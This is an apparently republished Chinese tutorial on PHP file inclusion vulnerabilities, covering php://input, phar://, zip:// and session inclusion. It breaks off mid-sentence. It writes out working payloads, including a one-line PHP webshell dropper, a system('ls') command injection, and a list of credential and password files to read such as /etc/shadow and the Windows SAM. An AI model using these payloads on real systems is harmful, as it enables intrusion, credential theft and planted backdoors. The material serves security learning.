文件包含知识点详细总结

news2024/11/23 3:16:08

如果想看图片和观感更好的话,可以直接去我的github或者gitbook
github:https://github.com/kakaandhanhan/cybersecurity_knowledge_book-gitbook.22kaka.fun
gitbook:http://22kaka.fun


description: 这里将通过参考文章和做题一起进行总结,并且文件包含漏洞,很多都利用了文件上传漏洞,所以这里也会总结一些文件上传漏洞的知识。

🍉 FL漏洞知识点总结

1.include/require/include_one/require_one

在PHP语法篇的10.文件里面我们讲了include和require和include_one和require_one这些,如果大家忘记了,可以返回去看看。

{% content-ref url=“…/rce-yuan-cheng-dai-ma-zhi-hang/php-yu-fa.md” %}
php-yu-fa.md
{% endcontent-ref %}


2.allow_url_include/allow_url_fopen

其实我看到老师写的书上也还在说这个,但是我看官方手册上面allow_url_include自php7.4就废除了,还发现就算是再新的书都有一定的滞后性,大家还是以手册为主。虽然废除了,但是我们还是讲解这两个在php.ini配置文件中的作用

1)allow_url_include

这个选项允许include,require,include_one和require四个函数的使用。

{% hint style=“info” %}
这个设置项需要开启 allow_url_fopen 。
{% endhint %}

2)allow_url_fopen

本选项激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象例如文件。默认的封装协议提供用 ftp 和 http 协议来访问。


3.php伪协议

我们在RCE漏洞知识点总结的5.php伪协议里面讲了php伪协议,忘记了也可以去看看

{% content-ref url=“…/rce-yuan-cheng-dai-ma-zhi-hang/rce-lou-dong-zhi-shi-dian-zong-jie.md” %}
rce-lou-dong-zhi-shi-dian-zong-jie.md
{% endcontent-ref %}

{% hint style=“info” %}
这里总结一下四个主要的协议是用在哪些方面。

1.php://filter              主要用于读取源码
2.php://input               经常使用file_get_contents获取php://input内容
3.data://                   执行命令
4.file://                   访问本地文件系统

{% endhint %}


在有以上的知识的基础上我们要介绍这个FL漏洞了。主要是分为本地文件包含漏洞和远程文件包含漏洞。

1.本地文件包含漏洞

本地文件包含漏洞是指能打开并且包含本地文件的漏洞,大部分都是这个漏洞。不受allow_url_fopen和allow_url_include的影响


2.远程文件包含漏洞

远程文件包含漏洞是指能够包含远程的文件并且执行他们,这个远程是我们可控的,所以危害较大,并且要求allow_url_fopen和allow_url_include都打开为on才能够执行。


3.敏感文件的目录

这里主要是要进行目录穿越或者是遍历任意文件时用到,虽然有很多,但是也不知道有用没用,都积累一下吧。

linux下:

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

4.php伪协议

在开头我们也放了php伪协议,虽然有相同的运用之处,但是也有一些差别,我们会专门就这个漏洞再来补充他们在这个漏洞的用法。有些不怎么要用或者之前已经详细讲过的就直接跳过去了。

1)file://

访问本地文件系统。

条件:无要求

姿势:

http://*********.php/?file=file://C:/Windows/win.ini

2)php://input

可以直接读取到POST上没有经过解析的原始数据。我们之前提到过,input后面可以加上post的body执行php代码。

{% hint style=“warning” %}
enctype="multipart/form-data" 的时候 php://input 是无效的。
{% endhint %}

条件:

  • allow_url_include=On

姿势:

①执行代码
http://*******.php/?file=php://input
/*[post]
<?php phpinfo()?>*/

后面的注释的php代码需要通过post传递。

{% hint style=“info” %}
当出现file_get_contents函数时,我们就要想到用php://input了
{% endhint %}

②执行命令
http://******.php/?file=php://input
/*[post]
<?php system('ls');?>*/
③写入木马
http://******.php/?file=php://input
/*[post]
<?php fputs(fopen('hack.php','w'),'<?php @eval($_POST['123456'])?>');?>*/

解释一下上面的php语句吧。可能因为之前没有见到过可能不太理解。这里了解两个函数之后就容易理解了,就是后面的木马代码是写入到前面fopen打开的文件里面的。

fputs()/fwrite():写入文件

并且是把data写入到scream里面。

fwrite(resource $stream, string $data, ?int $length = null): int|false

fopen():打开文件或者url。

filename可以是文件,可以是url。

fopen(string $filename, string $mode,bool $use_include_path = false,?resource $context = null
): resource|false

并且模式和c语言打开文件一样这里贴张图大家看吧

3)php://filter

这个之前就讲的详细了,没啥好补充的。

4)phar://

这个之前没讲过,但是在这里要用到,补充一下。

是php解压缩包的协议,并且不管后面是什么都会解压缩,无差别平等攻击

要求:

  • phpversion>=5.3

姿势:

①执行代码:

写一个php代码比如<?php echo"hellp";?>,然后打包成zip压缩模式的压缩包

{% hint style=“danger” %}
注意,这个压缩模式必须是zip,不能是7zip,rar这种。此外,压缩包的后缀名可以不一定是zip,还可以是111,222,txt都可以。
{% endhint %}

然后指定绝对目录

http://localhost:3000/study.php?file=phar://F:\php%20code\1.zip\1.php

当然相对目录也可以

http://localhost:3000/study.php?file=phar://1.zip/1.php
②执行命令:

只要把php代码修改一下变成执行命令的语句就可以,其他都不变,这里就不测试了因为步骤都是一样的

③写入木马:

同理

5)zip://

和上面的phar()的作用是一样的,就是用法不一样。我们直接说区别了其他都是一样的。他们的区别主要是在路径上。

{% hint style=“danger” %}
zip://只能用绝对路径不能用相对路径。
{% endhint %}

并且压缩文件包和压缩文件之间要用#连接,并且这个#得经过url编码,也就是%23。

http://localhost:3000/study.php?file=phar://F:\php%20code\1.zip%231.php

6)data://

就是之前的两句话之前已经很详细地说了。


5.包含session

首先我们先介绍一下session是什么

session简单理解就是会话。打个生动的比喻,session是位于服务器端的保险柜。比如我们去健身的时候,前台小姐姐会给我们一把钥匙和与它对应的保险柜,我们从开始健身到最后离开健身房就是一个会话,途中可能会去买瓶水放到保险柜里,或者从保险柜里拿个换洗衣物之类的,都是这个中间产生的数据,保险柜记录了我们产生的数据。

条件:

如果要使用包含session,那么我们需要知道session的路径并且他的内容部分是我们可控的。

姿势:

我们可以查看phpinfo()文件里面的session的路径存放处,在session下面的session_save_path

可以看到我的是/var/lib/php/sessions

{% hint style=“info” %}
第二竖排是local value(局部变量),第三竖排是master value(主变量),local value会覆盖master value。所以我们看第二竖排
{% endhint %}

1)常见php的session存放位置

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

我的session就位于/var/lib/php/sessions下。

2)命名

sessions目录下的文件的命名是sess_[phpsessid]。而phpsessid是我们的cookie里面可以看到的,我们甚至可以控制cookie中的phpsessid的值。然后发

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1445950.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CVE-2022-25487 漏洞复现

漏洞描述&#xff1a;Atom CMS 2.0版本存在远程代码执行漏洞&#xff0c;该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。 其实这就是一个文件上传漏洞罢了。。。。 打开之后&#xff0c;/home路由是个空白 信息搜集&…

常见的单片机及其功能

在当今电子技术快速发展的时代&#xff0c;单片机作为核心组件&#xff0c;在各类电子项目和产品中扮演着至关重要的角色。它们的应用范围从简单的家用电器控制到复杂的工业自动化系统&#xff0c;几乎无处不在。接下来&#xff0c;我们将以轻松的语言&#xff0c;探讨几种广泛…

InternLM大模型实战-3.InternLM+Langchain搭建知识库

文章目录 前言笔记正文大模型开发范式RAGFinetune LangChain简介构建向量数据库搭建知识库助手1 InternLMLangchain2 构建检索问答链3 优化建议 Web Demo 部署搭建知识库 前言 本文是对于InternLM全链路开源体系系列课程的学习笔记。【基于 InternLM 和 LangChain 搭建你的知识…

RS232、RS485 和 DB9 接口详解

简介&#xff1a; 本文介绍了 RS232 和 RS485 两种串行通信协议的物理层标准&#xff0c;以及它们与 DB9 接口的连接方式。此外&#xff0c;还介绍了 RS485 接口的全双工和半双工模式&#xff0c;以及它们的应用场景。 1. DB9 接口 DB9 接口是一种常见的 D 型连接器&#xff…

C#在窗体正中输出文字以及输出文字的画刷使用

为了在窗体正中输出文字&#xff0c;需要获得输出文字区域的宽和高&#xff0c;这使用MeasureString方法&#xff0c;方法返回值为Size类型&#xff1b; 然后计算输出的起点的x和y坐标&#xff0c;就可以输出了&#xff1b; using System; using System.Collections.Generic; …

springboot180基于spring boot的医院挂号就诊系统

医院挂号就诊系统设计与实现 摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装医院挂号就诊系统软件来发挥其…

限制资源使用

限制资源使用 您需要显示对服务器资源的访问来保护Web应用程序和应用程序数据不受未授权用户的访问。在Java EE Web应用程序中,您可以通过在应用服务器中创建用户和用户组来保护资源免受未经授权的访问。您可以为应用程序定义角色并在部署过程中将角色分配给用户。 1. 创建授权…

MacOS - 菜单栏上显示『音量』

教程步骤 点击打开系统偏好『设置』&#xff0c;并找到『控制中心』 在『控制中心模块』找到『声音』&#xff0c;选择『始终在菜单栏显示』

华为环网双机接入IPTV网络部署案例

环网双机接入IPTV网络部署案例 组网图形 图2 环网双机场景IPTV基本组网图 方案简介配置注意事项组网需求数据规划配置思路操作步骤配置文件 方案简介 随着IPTV业务的迅速发展&#xff0c;IPTV平台承载的用户也越来越多&#xff0c;用户对IPTV直播业务的可靠性要求越来越高。…

数据库管理-第149期 Oracle Vector DB AI-01(20240210)

数据库管理149期 2024-02-10 数据库管理-第149期 Oracle Vector DB & AI-01&#xff08;20240210&#xff09;1 机器学习2 向量3 向量嵌入4 向量检索5 向量数据库5 专用向量数据库的问题总结 数据库管理-第149期 Oracle Vector DB & AI-01&#xff08;20240210&#xf…

PHP特性知识点总结

如果想观感更好看到图片,可以去我的gitbook或者github去看 github:https://github.com/kakaandhanhan/cybersecurity_knowledge_book-gitbook.22kaka.fun gitbook:http://22kaka.fun description: 专门出的关于php的特性比较,后面好像也有java的特性。 🏀 PHP特性知识点…

Centos7离线安装MySQL5.7

卸载mariadb rpm -e --nodeps mariadb-libs可以使用rpm -qa|grep mariadb命令检测是否卸载完成。 关闭selinux 将/etc/selinux/config文件中的SELINUX设置为disabled下载MySql的相关rpm包 打开https://dev.mysql.com/downloads/mysql/ 选择Red Hat Enterprise Linux / Oracle L…

MySQL-索引(INDEX)

文章目录 1. 索引概述及优劣势2. 索引结构和不同引擎对索引的支持情况2.1 Btree2.2 Hash索引 3. 索引分类4. 索引语法5. 索引在什么情况下会失效&#xff1f;5.1 最左前缀法则5.2 范围查询5.3 索引列运算5.4 头部模糊查询5.5 OR连接条件5.6 字符串不加引号5.7 数据分布影响 6. …

《统计学简易速速上手小册》第8章:贝叶斯统计(2024 最新版)

文章目录 8.1 贝叶斯理论基础8.1.1 基础知识8.1.2 主要案例&#xff1a;疾病诊断8.1.3 拓展案例 1&#xff1a;垃圾邮件过滤8.1.4 拓展案例 2&#xff1a;财经新闻对股价的影响 8.2 贝叶斯方法的应用8.2.1 基础知识8.2.2 主要案例&#xff1a;个性化推荐系统8.2.3 拓展案例 1&a…

docker安装、运行

1、安装 之前有docker的话&#xff0c;需要先卸载旧版本&#xff1a; sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine 安装之前需要安装yum工具&#xff1a; sud…

数据结构:并查集讲解

并查集 1.并查集原理2.并查集实现3.并查集应用4.并查集的路径压缩 1.并查集原理 在一些应用问题中&#xff0c;需要将n个不同的元素划分成一些不相交的集合。开始时&#xff0c;每个元素自成一个单元素集合&#xff0c;然后按一定的规律将归于同一组元素的集合合并。在此过程中…

详细分析Redis中数值乱码的根本原因以及解决方式

目录 前言1. 问题所示2. 原理分析3. 拓展 前言 对于这方面的相关知识推荐阅读&#xff1a; Redis框架从入门到学精&#xff08;全&#xff09;Java关于RedisTemplate的使用分析 附代码java框架 零基础从入门到精通的学习路线 附开源项目面经等&#xff08;超全&#xff09; …

《Git 简易速速上手小册》第5章:高级 Git 技巧(2024 最新版)

文章目录 5.1 交互式暂存5.1.1 基础知识讲解5.1.2 重点案例&#xff1a;为 Python 项目分阶段提交5.1.3 拓展案例 1&#xff1a;细粒度控制更改5.1.4 拓展案例 2&#xff1a;处理遗漏的更改 5.2 使用 Rebase 优化提交历史5.2.1 基础知识讲解5.2.2 重点案例&#xff1a;整理 Pyt…

npm install 安装依赖如何加速

在使用npm安装依赖时&#xff0c;有几种方法可以加速这一过程&#xff0c;尤其是在面临网络限制或npm官方源速度慢的情况下。以下是一些常用的加速技巧&#xff1a; 1. 使用国内镜像源 国内有几个镜像源可以提供更快的下载速度&#xff0c;例如淘宝npm镜像。你可以通过以下命…

操作系统基础:IO核心子系统【下】

&#x1f308;个人主页&#xff1a;godspeed_lucip &#x1f525; 系列专栏&#xff1a;OS从基础到进阶 &#x1f3c6;&#x1f3c6;本文完整PDF源文件请翻阅至文章底部下载。&#x1f3c6;&#x1f3c6; ⚕️1 I/O核心子系统——概述&#x1f531;1.1 核心子系统要完成的功能…